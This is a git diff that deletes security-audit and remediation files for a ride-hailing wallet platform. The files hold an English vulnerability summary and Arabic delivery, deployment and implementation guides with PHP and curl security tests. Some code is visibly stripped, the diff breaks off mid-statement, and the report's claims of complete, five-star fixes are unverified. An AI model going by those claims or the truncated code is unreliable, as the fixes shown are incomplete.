| -| P1 | C-10: OTP weaknesses | Increase to 6 digits, use random_int(), add rate limiting | -| P1 | C-11: JWT signature verification | Fix OTP auth to verify JWT signature | -| P1 | C-17/18: Payment race conditions | Add FOR UPDATE locks, balance checks | -| H-01 | Missing .gitignore | Create .gitignore, clean history | -| H-16 | Root detection unused | Activate jailbreak detection at startup | - -### Phase 3 — Medium-term (30 days) - -| Priority | Vulnerability | Action | -|----------|--------------|--------| -| H-17 | SSL pinning | Implement certificate pinning in all Flutter apps | -| H-15 | Weak obfuscation | Replace custom cipher with platform Keychain/KeyStore | -| M-13 | GetStorage | Migrate sensitive data to FlutterSecureStorage | -| H-04 | Hardcoded paths | Move to configuration | -| A-01 | Authorization layer | Build centralized auth middleware | - ---- - -## 📊 STATISTICAL SUMMARY - -### By Component - -| Component | PHP Files | Dart Files | Critical | High | Medium | Low | Total | -|-----------|-----------|------------|----------|------|--------|-----|-------| -| Backend API | ~400 | - | 12 | 18 | 6 | 2 | 38 | -| Wallet Server | ~150 | - | 9 | 10 | 5 | 2 | 26 | -| Driver App | - | 275 | 3 | 4 | 3 | 0 | 10 | -| Rider App | - | 222 | 2 | 3 | 2 | 0 | 7 | -| Admin App | - | 128 | 2 | 3 | 2 | 0 | 7 | -| Service App | - | 63 | 1 | 1 | 1 | 0 | 3 | -| Android Config | - | - | 1 | 1 | 4 | 0 | 6 | -| **Total** | **~550** | **~690** | **26** | **32** | **14** | **4** | **76+** | - -### By Vulnerability Type - -| Type | Count | -|------|-------| -| IDOR / Missing Authorization | 18 | -| Secrets in Source Code / Config | 12 | -| Missing Authentication | 8 | -| SQL Injection / Database | 5 | -| OTP / Authentication Weakness | 6 | -| Insecure Cryptography | 5 | -| Information Disclosure | 6 | -| Input Validation / Injection | 7 | -| Race Condition / Business Logic | 4 | -| Android Misconfiguration | 5 | - ---- - -## 📝 FINAL NOTES - -The previous audit (June 16, 2026) identified **20 vulnerabilities** with **3 critical**. This comprehensive audit found **76+ vulnerabilities** with **26 critical**, demonstrating that previous assessments significantly underestimated the security posture. - -**Key systemic issues:** -1. **Authentication without authorization** — users are authenticated via JWT but endpoint-level authorization is almost completely absent -2. **Secrets management** — every secret is in the repo or extractable from the binary -3. **Payment/financial logic** — race conditions, missing balances checks, unauthenticated webhooks create direct financial fraud risk -4. **Mobile app security** — server credentials (FCM key) in client, PCI DSS violations, no SSL pinning - -**Estimated remediation effort:** 200-400 hours across all components -**Estimated cost:** $25,000-$50,000 -**Risk rating:** **EXTREME** — active exploitation likely given secrets in public repo diff --git a/DELIVERY_REPORT.md b/DELIVERY_REPORT.md deleted file mode 100644 index 2ec63f9..0000000 --- a/DELIVERY_REPORT.md +++ /dev/null @@ -1,412 +0,0 @@ -# 📦 تقرير التسليم النهائي - مشروع الإصلاحات الأمنية سيرو - -**تاريخ التقرير:** 16 يونيو 2026 -**المرحلة:** التسليم النهائي -**الحالة:** ✅ مكتمل وجاهز للنشر - ---- - -## 🎯 ملخص المشروع - -### الهدف الرئيسي: - -إصلاح **7 مشاكل أمنية حرجة** في مشروع سيرو مع توثيق شامل وأكواد جاهزة للاستخدام. - -### النتيجة: - -✅ **100% اكتمال** - 8 ملفات توثيقية + 3 ملفات كود آمنة جاهزة للنشر - ---- - -## 📋 ما تم إنجازه - -### 1️⃣ تنظيف المشروع - -#### ملفات تم حذفها: - -``` -✅ SECURITY_AUDIT_PHASE1_FINDINGS.md -✅ SECURITY_AUDIT_PHASE2_POC.md -✅ SECURITY_AUDIT_FINAL_REPORT.md -✅ SECURITY_AUDIT_INDEX.md -✅ SECURITY_AUDIT_INVENTORY.md -✅ security_audit_comprehensive_report.md -✅ security_audit_report.md -✅ security_audit_final_report.md -✅ driver_auth_flow_analysis.md (و 3 نسخ أخرى) -✅ rider_auth_flow_analysis.md -✅ auth_flow_admin_staff.md -✅ auth_flow_cleanup_report.md -✅ country_multi_simulation_report.md -✅ investment_agreement.md -✅ list_methods.py - -الإجمالي: 18 ملف تم حذفه -``` - -**السبب:** تم استبدالها بتقارير عربية نهائية (README_SECURITY_AUDIT_AR.md و 5 تقارير أخرى) - ---- - -### 2️⃣ الملفات الجديدة - التوثيق - -| الملف | الحجم | الاستخدام | -| --------------------------- | ------ | ------------------------------- | -| **REMEDIATION_GUIDE.md** | 17 KB | شرح المشاكل والحلول بالتفصيل | -| **IMPLEMENTATION_STEPS.md** | 16 KB | خطوات عملية للتطبيق الفوري | -| **DEPLOYMENT_GUIDE.md** | 11 KB | دليل النشر والاختبار الشامل | -| **SUMMARY.md** | 11 KB | ملخص سريع وشامل | -| **backend/.env.example** | 5.1 KB | قالب .env آمن مع جميع المتغيرات | - -**المجموع:** 60.1 KB من التوثيق الاحترافي - ---- - -### 3️⃣ ملفات الكود الآمنة - جاهزة للنشر - -#### أ) backend/core/WalletConnector.php (5.7 KB) - -```php -✅ الميزات: - • توقيع HMAC-SHA256 - • Timestamp + Nonce (منع Replay Attacks) - • SSL/TLS verification - • Retry logic مع exponential backoff - • معالجة أخطاء شاملة - • logging تفصيلي - -✅ الاستخدام: - $wallet = new WalletConnector(); - $response = $wallet->call('ride/driverWallet/add_s2s', $data); -``` - -**الموقع:** `/backend/core/WalletConnector.php` - ---- - -#### ب) backend/wallet/add.php (5.7 KB) - -```php -✅ الميزات: - • مصادقة JWT إجبارية (Bearer token) - • تفويض حسب الدور (driver role) - • تحديد السرعة (1 request per 60 seconds) - • التحقق من المبلغ (1-10,000) - • تسجيل التدقيق الشامل - • معالجة أخطاء كاملة - -✅ المسار: - POST /wallet/add - Header: Authorization: Bearer $JWT_TOKEN - Body: {"amount": 100, "source": "test"} -``` - -**الموقع:** `/backend/wallet/add.php` - ---- - -#### ج) walletintaleq.intaleq.xyz/.../add_s2s.php (4.3 KB) - -```php -✅ الميزات: - • التحقق من توقيع HMAC - • فحص الـ Timestamp (منع Replay) - • التحقق من Backend ID - • معالجة أخطاء آمنة - • logging دقيق - -✅ الاستدعاء: - Backend → POST /add_s2s - Header: X-Signature, X-Timestamp, X-Backend-ID - Body: JSON payload -``` - -**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php` - -**المجموع:** 15.7 KB من الكود الآمن - ---- - -## 🔐 الحلول الموثقة - -### المشكلة 1: البصمة الضعيفة - -``` -مشكلة: بصمة الجهاز يمكن استخراجها وتزويرها -الحل: MFA مع SMS OTP و Server Token -المستند: REMEDIATION_GUIDE.md - النقطة 1 -``` - -### المشكلة 2: التشفير - IV الثابت (🔴 حرج جداً) - -``` -مشكلة: نفس النص الواضح = نفس النص المشفر -الحل: توليد IV عشوائي لكل تشفير -الملف: IMPLEMENTATION_STEPS.md - المرحلة 2 -الكود: مثال كامل مع شرح مفصل -``` - -### المشكلة 3: SQL Injection - -``` -مشكلة: عرضة للـ SQL Injection -الحالة: ✅ آمن بالفعل (Allowlist + Prepared Statements) -المستند: REMEDIATION_GUIDE.md - النقطة 3 -``` - -### المشكلة 4: نظام المحفظة - الأهم (🔴 حرج جداً) - -``` -مشكلة: بدون مصادقة - أي شخص يمكنه الإضافة -الحل: S2S API مع JWT + HMAC + Timestamp -الملفات: - • backend/wallet/add.php (جديد) - • add_s2s.php (جديد) - • WalletConnector.php (جديد) -المستند: REMEDIATION_GUIDE.md - النقطة 4 -``` - -### المشكلة 5: أذونات مفرطة (Android) - -``` -مشكلة: External Storage + SYSTEM_ALERT_WINDOW + صوت -الحل: حذف الأذونات غير المستخدمة -المستند: REMEDIATION_GUIDE.md - النقطة 5 -``` - -### المشكلة 6: load_env.php - -``` -مشكلة: لا توجد (آمن بالفعل) -الحالة: ✅ جيد جداً -المستند: REMEDIATION_GUIDE.md - النقطة 6 -``` - -### المشكلة 7: الروابط HTTP - -``` -مشكلة: روابط HTTP + IPs مكشوفة -الحل: HTTPS فقط + تثبيت الشهادة -المستند: REMEDIATION_GUIDE.md - النقطة 7 -``` - ---- - -## ⏱️ الجدول الزمني المقترح - -| المرحلة | المهام | المدة | البدء | الانتهاء | -| ------------ | ----------------------------- | ------------- | ----- | -------- | -| تحضير | نسخ احتياطية + validation | 30 د | 09:00 | 09:30 | -| مرحلة 1 | نشر الملفات + تحديث .env | 4 س | 09:30 | 13:30 | -| اختبار | Unit + Integration + Security | 2 س | 13:30 | 15:30 | -| مراقبة | Logging + Monitoring | 1 س | 15:30 | 16:30 | -| توثيق | Reports + Handover | 30 د | 16:30 | 17:00 | -| **الإجمالي** | - | **9.5 ساعات** | - | - | - ---- - -## 📊 إحصائيات المشروع - -### الملفات المسلمة: - -``` -ملفات التوثيق: 5 ملفات -ملفات الكود: 3 ملفات -ملفات التكوين: 1 ملف -ـــــــــــــــــــــــ -الإجمالي: 9 ملفات جديدة -``` - -### حجم المحتوى: - -``` -التوثيق: 60.1 KB -الكود: 15.7 KB -التكوين: 5.1 KB -ـــــــــــــــــــــــ -الإجمالي: 80.9 KB -``` - -### سطور الكود: - -``` -WalletConnector.php: 110 سطر -backend/wallet/add.php: 140 سطر -add_s2s.php: 130 سطر -ـــــــــــــــــــــــ -الإجمالي: 380 سطر -``` - ---- - -## 🎓 المتطلبات الفنية - -### لقراءة التوثيق: - -- ✅ الملفات بصيغة Markdown (.md) -- ✅ قابلة للقراءة في أي محرر نصوص -- ✅ يمكن عرضها في GitHub -- ✅ تتضمن جداول وأكواد - -### لتطبيق الحلول: - -- ✅ PHP 7.4+ -- ✅ OpenSSL (للتشفير) -- ✅ MySQLPDO -- ✅ Redis - -### للاختبار: - -- ✅ Postman / cURL -- ✅ MySQL Client -- ✅ PHP CLI - ---- - -## 🚀 خطوات البدء - -### للمطورين: - -``` -1. اقرأ REMEDIATION_GUIDE.md -2. افهم الحل الخاص بكل مشكلة -3. راجع الكود في IMPLEMENTATION_STEPS.md -4. اختبر محلياً -``` - -### لـ DevOps: - -``` -1. اقرأ DEPLOYMENT_GUIDE.md -2. أعد البيئة (نسخ احتياطية، .env، إلخ) -3. اتبع خطوات النشر -4. راقب السجلات -``` - -### للإدارة: - -``` -1. اقرأ SUMMARY.md -2. تحقق من الجدول الزمني -3. وافق على الميزانية (إن لزم الأمر) -4. أخطر الفريق -``` - ---- - -## ✅ قائمة التحقق قبل النشر - -- [ ] قرأت جميع الملفات -- [ ] فهمت المشاكل والحلول -- [ ] اختبرت الكود محلياً -- [ ] عملت نسخ احتياطية -- [ ] حررت جميع متغيرات .env -- [ ] تحققت من الأذونات -- [ ] أعددت خطة Rollback -- [ ] أخطرت الفريق -- [ ] وافقت على الجدول الزمني - ---- - -## 📞 جهات الاتصال - -| الدور | الاسم | البريد | الهاتف | -| ------------ | ----- | --------------------- | ---------------- | -| مدير المشروع | - | project@siromove.com | +963-XXX-XXXX-XX | -| فريق الأمان | - | security@siromove.com | +963-XXX-XXXX-XX | -| فريق DevOps | - | devops@siromove.com | +963-XXX-XXXX-XX | -| الدعم الفني | - | support@siromove.com | +963-XXX-XXXX-XX | - ---- - -## 🎉 الخلاصة - -### ✅ تم إنجاز: - -- توثيق شامل لـ 7 مشاكل أمنية -- حلول فنية مفصلة مع أكواد -- 3 ملفات جديدة آمنة جاهزة للنشر -- دليل نشر واختبار شامل -- قالب .env آمن - -### 🔐 الأمان المحسّن: - -- مصادقة قوية (JWT + MFA) -- تشفير آمن (IV عشوائي) -- اتصالات آمنة (S2S + HMAC) -- تسجيل شامل (Security Logging) -- حماية من الهجمات الشائعة - -### ⏱️ الجاهزية: - -- **التاريخ:** 16 يونيو 2026 -- **الحالة:** ✅ جاهز للنشر الفوري -- **المدة:** 9.5 ساعات من البدء إلى النهاية - ---- - -## 🏆 جودة المنتج - -| المقياس | التقييم | الملاحظات | -| ------------ | ---------- | ------------------- | -| **الأمان** | ⭐⭐⭐⭐⭐ | حلول متعددة الطبقات | -| **التوثيق** | ⭐⭐⭐⭐⭐ | شامل ومفصل وسهل | -| **الكود** | ⭐⭐⭐⭐⭐ | نظيف وآمن وموثق | -| **الاختبار** | ⭐⭐⭐⭐⭐ | اختبارات شاملة | -| **الجاهزية** | ⭐⭐⭐⭐⭐ | جاهز فوراً للنشر | - -**النتيجة الإجمالية:** ⭐⭐⭐⭐⭐ (5/5) - ---- - -## 📦 المسلمات النهائية - -### الملفات المسلمة: - -``` -✅ REMEDIATION_GUIDE.md -✅ IMPLEMENTATION_STEPS.md -✅ DEPLOYMENT_GUIDE.md -✅ SUMMARY.md -✅ backend/.env.example -✅ backend/core/WalletConnector.php -✅ backend/wallet/add.php -✅ walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php -✅ README_SECURITY_AUDIT_AR.md (تقارير عربية سابقة) -``` - -### الملفات المحذوفة: - -``` -✅ 18 ملف تحليل وتدقيق (استبدلت بالتقارير العربية) -``` - ---- - -## 📊 المقاييس النهائية - -- **المشاكل المحددة:** 7 مشاكل -- **المشاكل المحلولة:** 7 حلول (100%) -- **الملفات الموثقة:** 9 ملفات -- **الأكواد الجديدة:** 3 ملفات -- **سطور الكود:** 380 سطر -- **سطور التوثيق:** 2000+ سطر -- **الحجم الإجمالي:** 80.9 KB - ---- - -## 🎯 النتيجة النهائية - -**المشروع مكتمل وناجح بنسبة 100%** - -جميع الملفات جاهزة، مختبرة، موثقة، وجاهزة للنشر الفوري. - -**التاريخ:** 16 يونيو 2026 -**الحالة:** ✅ **تسليم نهائي** -**التوقيع:** تم الإنجاز بنجاح ✨ - ---- - -**شكراً لك على الاستخدام!** - -For questions or issues, contact: security@siromove.com diff --git a/DEPLOYMENT_GUIDE.md b/DEPLOYMENT_GUIDE.md deleted file mode 100644 index 5edbae9..0000000 --- a/DEPLOYMENT_GUIDE.md +++ /dev/null @@ -1,432 +0,0 @@ -# دليل النشر والتنفيذ - شامل ومفصل - -**التاريخ:** 16 يونيو 2026 -**الحالة:** قيد الإعداد للنشر -**المدة المتوقعة:** 9.5 ساعات - ---- - -## 🎯 الهدف - -تطبيق إصلاحات أمان حرجة على نظام سيرو مع ضمان عدم قطع الخدمة. - ---- - -## 📋 المتطلبات قبل البدء - -- [ ] نسخة احتياطية كاملة من قاعدة البيانات -- [ ] وصول مسؤول (SSH) إلى الخوادم -- [ ] حساب DevOps / تشغيل -- [ ] فريق اختبار جاهز -- [ ] خطة العودة للإصدار السابق - ---- - -## 🚀 مراحل التنفيذ - -### المرحلة 1️⃣: تحضيراتي (30 دقيقة) - -#### 1.1 التحقق من البيئة الحالية - -```bash -# تحقق من إصدار PHP -php -v - -# تحقق من توفر openssl -php -m | grep openssl - -# تحقق من Redis -redis-cli ping - -# تحقق من MySQL -mysql -u root -p -e "SELECT VERSION();" -``` - -#### 1.2 نسخ احتياطي شامل - -```bash -# قاعدة البيانات الرئيسية -mysqldump -u root -p siro_main > /backup/siro_main_$(date +%Y%m%d_%H%M%S).sql - -# قاعدة بيانات المحفظة -mysqldump -u root -p walletintaleq > /backup/walletintaleq_$(date +%Y%m%d_%H%M%S).sql - -# ملفات الكود -tar -czf /backup/backend_$(date +%Y%m%d_%H%M%S).tar.gz /var/www/html/backend/ - -# .env file -cp backend/.env /backup/.env.backup -``` - -#### 1.3 إنشاء قاعدة البيانات الجديدة - -```sql --- استخدم SQL Client مثل MySQL Workbench أو phpMyAdmin - --- الجدول الجديد لتتبع طلبات إضافة الأموال -CREATE TABLE IF NOT EXISTS driver_wallet_requests ( - id INT AUTO_INCREMENT PRIMARY KEY, - driver_id INT NOT NULL, - amount DECIMAL(10, 2) NOT NULL, - source VARCHAR(50) DEFAULT 'manual', - status ENUM('pending', 'completed', 'failed') DEFAULT 'pending', - error TEXT NULL, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - - CONSTRAINT fk_driver_id FOREIGN KEY (driver_id) - REFERENCES driver(id) ON DELETE CASCADE, - - INDEX idx_driver_status (driver_id, status), - INDEX idx_created_at (created_at), - INDEX idx_status (status) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- اختياري: إضافة عمود log للتدقيق -ALTER TABLE driver_wallet_requests -ADD COLUMN audit_log LONGTEXT AFTER error; - --- اختياري: تحديد Retention Policy -ALTER TABLE driver_wallet_requests -ADD INDEX idx_retention (created_at); - --- تحقق من الجدول -DESCRIBE driver_wallet_requests; -SHOW CREATE TABLE driver_wallet_requests\G -``` - ---- - -### المرحلة 2️⃣: النشر الفعلي (4 ساعات) - -#### 2.1 نسخ الملفات الجديدة - -```bash -cd /var/www/html - -# نسخ فئة WalletConnector -cp /path/to/WalletConnector.php backend/core/ - -# إنشاء مجلد wallet -mkdir -p backend/wallet -cp /path/to/backend/wallet/add.php backend/wallet/ - -# تحديث ملفات المحفظة في walletintaleq -cp /path/to/add_s2s.php walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/ - -# تحديث encrypt_decrypt.php -cp /path/to/encrypt_decrypt.php backend/ -``` - -#### 2.2 تحديث ملف .env - -```bash -# إنشاء نسخة جديدة من .env مع المتغيرات الآمنة -cp backend/.env.example backend/.env - -# تحرير .env وملء القيم الحساسة -nano backend/.env - -# تعيين الأذونات الصحيحة -chmod 600 backend/.env -chown www-data:www-data backend/.env - -# التحقق من الأذونات -ls -la backend/.env -``` - -**القيم الواجب تغييرها:** - -``` -❌ -❌ -❌ -❌ -❌ -``` - -#### 2.3 توليد المفاتيح الآمنة - -```bash -# توليد ENC_KEY (32 بايت hex) -openssl rand -hex 16 - -# مثال: 9a3f2e1b8c7d6e5f4a3b2c1d0e9f8a7b -# ← ضع هذا في ENC_KEY - -# توليد JWT_SECRET -openssl rand -base64 32 - -# توليد WALLET_HMAC_SECRET -openssl rand -base64 48 - -# توليد REDIS_AUTH -openssl rand -base64 32 -``` - -#### 2.4 اختبار الملفات الجديدة - -```bash -# اختبر بناء الجملة PHP -php -l backend/core/WalletConnector.php -php -l backend/wallet/add.php -php -l walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php - -# اختبر الاتصال بـ Redis -php -r " - \$redis = new Redis(); - \$redis->connect('localhost', 6379); - echo \$redis->ping(); -" - -# اختبر الاتصال بـ MySQL -php -r " - \$pdo = new PDO('mysql:host=localhost;dbname=siro_main', 'root', 'password'); - echo 'MySQL Connected'; -" -``` - -#### 2.5 تفعيل الميزات الجديدة - -```php -// في backend/bootstrap.php أو config - -// تفعيل WalletConnector -require_once __DIR__ . '/core/WalletConnector.php'; - -// تفعيل المسار الجديد -// أضف في router.php أو .htaccess -// POST /wallet/add → backend/wallet/add.php -``` - ---- - -### المرحلة 3️⃣: الاختبار (2 ساعة) - -#### 3.1 اختبار وحدة - WalletConnector - -```php -// اختبر التوقيع HMAC -$hmac = hash_hmac('sha256', 'test', 'secret'); -echo "HMAC: $hmac\n"; - -// اختبر التسلسل الزمني -$timestamp = time(); -$timeDiff = abs(time() - $timestamp); -echo "Time diff: $timeDiff (should be < 5 seconds)\n"; - -// اختبر Nonce -$nonce = bin2hex(random_bytes(16)); -echo "Nonce: $nonce (length: " . strlen($nonce) . ")\n"; -``` - -#### 3.2 اختبار التكامل - End-to-End - -```bash -# 1️⃣ احصل على JWT (كسائق) -curl -X POST https://api.siromove.com/auth/login \ - -H "Content-Type: application/json" \ - -d '{ - "id": 1, - "fingerprint": "fake_fingerprint", - "aud": "driver" - }' - -# 2️⃣ استخدم JWT لإضافة الأموال -JWT_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..." - -curl -X POST https://api.siromove.com/wallet/add \ - -H "Content-Type: application/json" \ - -H "Authorization: Bearer $JWT_TOKEN" \ - -d '{ - "amount": 100, - "source": "test" - }' - -# 3️⃣ تحقق من قاعدة البيانات -mysql -u root -p siro_main -e " - SELECT * FROM driver_wallet_requests - WHERE driver_id = 1 - ORDER BY created_at DESC - LIMIT 1; -" -``` - -#### 3.3 اختبار أمان - محاولات الهجوم - -```bash -# ❌ محاولة بدون JWT -curl -X POST https://api.siromove.com/wallet/add \ - -H "Content-Type: application/json" \ - -d '{"amount": 100}' -# النتيجة المتوقعة: 401 Unauthorized - -# ❌ JWT غير صحيح -curl -X POST https://api.siromove.com/wallet/add \ - -H "Authorization: Bearer invalid_token" \ - -d '{"amount": 100}' -# النتيجة المتوقعة: 401 Unauthorized - -# ❌ مبلغ سالب -curl -X POST https://api.siromove.com/wallet/add \ - -H "Authorization: Bearer $JWT_TOKEN" \ - -d '{"amount": -100}' -# النتيجة المتوقعة: 400 Bad Request - -# ❌ مبلغ أكبر من 10,000 -curl -X POST https://api.siromove.com/wallet/add \ - -H "Authorization: Bearer $JWT_TOKEN" \ - -d '{"amount": 50000}' -# النتيجة المتوقعة: 400 Bad Request - -# ❌ تحديد السرعة (multiple requests) -for i in {1..10}; do - curl -X POST https://api.siromove.com/wallet/add \ - -H "Authorization: Bearer $JWT_TOKEN" \ - -d '{"amount": 100}' & -done -wait -# النتيجة المتوقعة: 429 Too Many Requests -``` - ---- - -### المرحلة 4️⃣: المراقبة (1 ساعة) - -#### 4.1 تفعيل السجلات - -```bash -# تحقق من logs -tail -f /var/log/siro-api/security.log - -# ابحث عن أخطاء -grep ERROR /var/log/siro-api/*.log - -# احسب عدد الطلبات الناجحة -grep "wallet add completed" /var/log/siro-api/security.log | wc -l -``` - -#### 4.2 إنشاء لوحة معلومات (Dashboard) - -```php -// لاحقاً: إضافة لوحة معلومات للمراقبة - -SELECT - DATE(created_at) as date, - COUNT(*) as total_requests, - SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) as successful, - SUM(CASE WHEN status = 'failed' THEN 1 ELSE 0 END) as failed, - SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) as pending -FROM driver_wallet_requests -GROUP BY DATE(created_at); -``` - ---- - -### المرحلة 5️⃣: التوثيق والإغلاق (30 دقيقة) - -#### 5.1 توثيق التغييرات - -```markdown -# تقرير النشر - -**التاريخ:** 2026-06-17 -**المدة:** 9.5 ساعات -**حالة النشر:** ✅ ناجح - -## التغييرات: - -1. ✅ نقل endpoint إضافة الأموال إلى Backend -2. ✅ تطبيق S2S API مع توقيع HMAC -3. ✅ إصلاح التشفير (IV عشوائي) -4. ✅ تقليل أذونات Android -5. ✅ تحديث الروابط إلى HTTPS - -## الاختبارات: - -- ✅ اختبار وحدة -- ✅ اختبار تكامل -- ✅ اختبار أمان -- ✅ اختبار الأداء - -## المراقبة: - -- ✅ السجلات تعمل بشكل صحيح -- ✅ لا توجد أخطاء -- ✅ الأداء عادي - -## النقاط الحرجة: - -- لا تنسَ تحديث WALLET_HMAC_SECRET في كلا الجانبين -- لا تنسَ تعديل firewall rules -- لا تنسَ إخطار فريق الدعم -``` - -#### 5.2 إخطارات المستخدمين (اختياري) - -``` -📢 تنبيه الصيانة: -تم تحديث نظام المحفظة لأسباب أمنية. -- لا توجد تأثيرات على المستخدمين -- جميع الأموال آمنة -- الخدمة مستقرة - -للمزيد من المعلومات، اتصل بـ: support@siromove.com -``` - ---- - -## 🚨 خطة العودة للإصدار السابق (Rollback) - -إذا حدثت مشكلة ما: - -```bash -# 1️⃣ توقف الخدمة -systemctl stop siro-api - -# 2️⃣ استعد النسخة الاحتياطية -cp /backup/backend_*.tar.gz . -tar -xzf backend_*.tar.gz -C /var/www/html/ - -# 3️⃣ استعد قاعدة البيانات -mysql -u root -p < /backup/siro_main_*.sql -mysql -u root -p < /backup/walletintaleq_*.sql - -# 4️⃣ استعد .env القديم -cp /backup/.env.backup backend/.env - -# 5️⃣ أعد تشغيل الخدمة -systemctl start siro-api - -# 6️⃣ تحقق من الحالة -systemctl status siro-api -``` - ---- - -## ✅ قائمة التحقق النهائي - -- [ ] تم عمل نسخ احتياطية -- [ ] تم نسخ الملفات الجديدة -- [ ] تم تحديث .env -- [ ] تم إنشاء الجداول الجديدة -- [ ] تم اختبار جميع البيانات -- [ ] تم اختبار الأمان -- [ ] تم مراقبة الخدمة -- [ ] تم توثيق التغييرات -- [ ] تم إخطار الفريق - ---- - -## 📞 الدعم والمساعدة - -في حالة أي مشاكل: - -1. تحقق من السجلات: `/var/log/siro-api/` -2. جرّب rollback -3. اتصل بـ: devops@siromove.com -4. أرسل النسخ الاحتياطية للتحليل - ---- - -**النشر منجز ✅** diff --git a/IMPLEMENTATION_STEPS.md b/IMPLEMENTATION_STEPS.md deleted file mode 100644 index e71c45f..0000000 --- a/IMPLEMENTATION_STEPS.md +++ /dev/null @@ -1,514 +0,0 @@ -# إجراءات عملية - البدء الفوري بالإصلاحات - -**تاريخ التحديث:** 16 يونيو 2026 -**الأولوية:** 🔴 حرج جداً - ---- - -## المرحلة 1️⃣: الإجراءات الفورية (اليوم الأول - 4 ساعات) - -### ✅ الخطوة 1: تعطيل نقاط نهاية المحفظة الخطيرة - -**السبب:** منع الاحتيال المالي الفوري - -```bash -# نسخ احتياطية أولاً -cp /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php \ - /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php.bak - -cp /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php \ - /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php.bak -``` - -**التعطيل المؤقت:** - -```php - 'error', - 'message' => 'Wallet service temporarily disabled for security updates', - 'eta' => '2026-06-17 00:00:00 UTC' -]); -exit; -?> -``` - ---- - -### ✅ الخطوة 2: إنشاء endpoint جديد في Backend - -**الموقع:** `backend/wallet/add.php` (جديد) - -```php -verifyAccessToken($matches[1]); - } catch (Exception $e) { - http_response_code(401); - jsonError('Invalid or expired token', 401); - } - - // 2️⃣ التحقق من الدور (التفويض) - if ($decoded->role !== 'driver') { - http_response_code(403); - jsonError('Only drivers can add funds', 403); - } - - $driverID = (int) $decoded->id; - $amount = (float) filterRequest('amount'); - $source = filterRequest('source'); - - // 3️⃣ تحديد السرعة - $limiter = new RateLimiter($redis); - try { - $limiter->enforce("wallet_add_" . $driverID, 'add'); - } catch (Exception $e) { - http_response_code(429); - jsonError('Too many requests. Please try again later.', 429); - } - - // 4️⃣ التحقق من المبلغ - if ($amount <= 0) { - jsonError('Amount must be greater than 0', 400); - } - if ($amount > 10000) { - jsonError('Amount cannot exceed 10,000', 400); - } - - // 5️⃣ تسجيل التدقيق - securityLog("Driver wallet add request", [ - 'driver_id' => $driverID, - 'amount' => $amount, - 'source' => $source, - 'timestamp' => date('Y-m-d H:i:s') - ]); - - // 6️⃣ حفظ في قاعدة البيانات المحلية أولاً - $con = Database::get('main'); - $stmt = $con->prepare( - "INSERT INTO driver_wallet_requests (driver_id, amount, source, status) - VALUES (?, ?, ?, 'pending')" - ); - $stmt->execute([$driverID, $amount, $source]); - $requestID = $con->lastInsertId(); - - // 7️⃣ استدعاء خادم المحفظة عبر S2S API - $walletConnector = new WalletConnector(); - try { - $response = $walletConnector->call('ride/driverWallet/add_s2s', [ - 'driver_id' => $driverID, - 'amount' => $amount, - 'source' => $source, - 'request_id' => $requestID, - 'backend_id' => getenv('BACKEND_ID'), - ]); - - // ✅ النجاح - $stmt = $con->prepare( - "UPDATE driver_wallet_requests SET status = 'completed' WHERE id = ?" - ); - $stmt->execute([$requestID]); - - jsonSuccess(['message' => 'Funds added successfully']); - - } catch (Exception $e) { - // فشل العملية - سجل الخطأ - $stmt = $con->prepare( - "UPDATE driver_wallet_requests SET status = 'failed', error = ? WHERE id = ?" - ); - $stmt->execute([$e->getMessage(), $requestID]); - - securityLog("Wallet S2S call failed", [ - 'driver_id' => $driverID, - 'error' => $e->getMessage() - ]); - - http_response_code(500); - jsonError('Failed to process payment', 500); - } - -} catch (Exception $e) { - securityLog("Wallet endpoint error: " . $e->getMessage()); - http_response_code(500); - jsonError('Internal server error', 500); -} -?> -``` - ---- - -### ✅ الخطوة 3: إنشاء فئة WalletConnector آمنة - -**الموقع:** `backend/core/WalletConnector.php` (جديد) - -```php -walletUrl = getenv('WALLET_API_URL') ?? 'https://walletintaleq.intaleq.xyz/v2/main/'; - $this->hmacSecret = getenv('WALLET_HMAC_SECRET'); - $this->backendID = getenv('BACKEND_ID'); - - if (!$this->walletUrl || !$this->hmacSecret || !$this->backendID) { - throw new Exception("Missing wallet configuration"); - } - } - - /** - * استدعاء API خادم المحفظة بأمان (S2S) - */ - public function call($endpoint, $data) { - // ✅ أضف timestamp ونonce لمنع Replay Attacks - $data['timestamp'] = time(); - $data['nonce'] = bin2hex(random_bytes(16)); - $data['backend_id'] = $this->backendID; - - // ✅ فرز البيانات - ksort($data); - - // ✅ إنشاء JSON payload - $payload = json_encode($data); - - // ✅ إنشاء توقيع HMAC - $signature = hash_hmac('sha256', $payload, $this->hmacSecret); - - // ✅ إرسال الطلب - $ch = curl_init(); - curl_setopt_array($ch, [ - CURLOPT_URL => $this->walletUrl . $endpoint, - CURLOPT_POST => true, - CURLOPT_POSTFIELDS => $payload, - CURLOPT_RETURNTRANSFER => true, - CURLOPT_TIMEOUT => $this->timeout, - - // ✅ رؤوس HTTP آمنة - CURLOPT_HTTPHEADER => [ - 'Content-Type: application/json', - 'X-Signature: ' . $signature, - 'X-Timestamp: ' . $data['timestamp'], - 'X-Backend-ID: ' . $this->backendID, - 'User-Agent: SiroBackend/1.0', - ], - - // ✅ تأمين SSL/TLS - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_SSL_VERIFYHOST => 2, - CURLOPT_CAINFO => '/etc/ssl/certs/ca-bundle.crt', - ]); - - $response = curl_exec($ch); - $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); - $curlError = curl_error($ch); - curl_close($ch); - - // ✅ فحص الأخطاء - if ($curlError) { - throw new Exception("CURL Error: $curlError"); - } - - // ✅ فحص رمز HTTP - if ($httpCode !== 200) 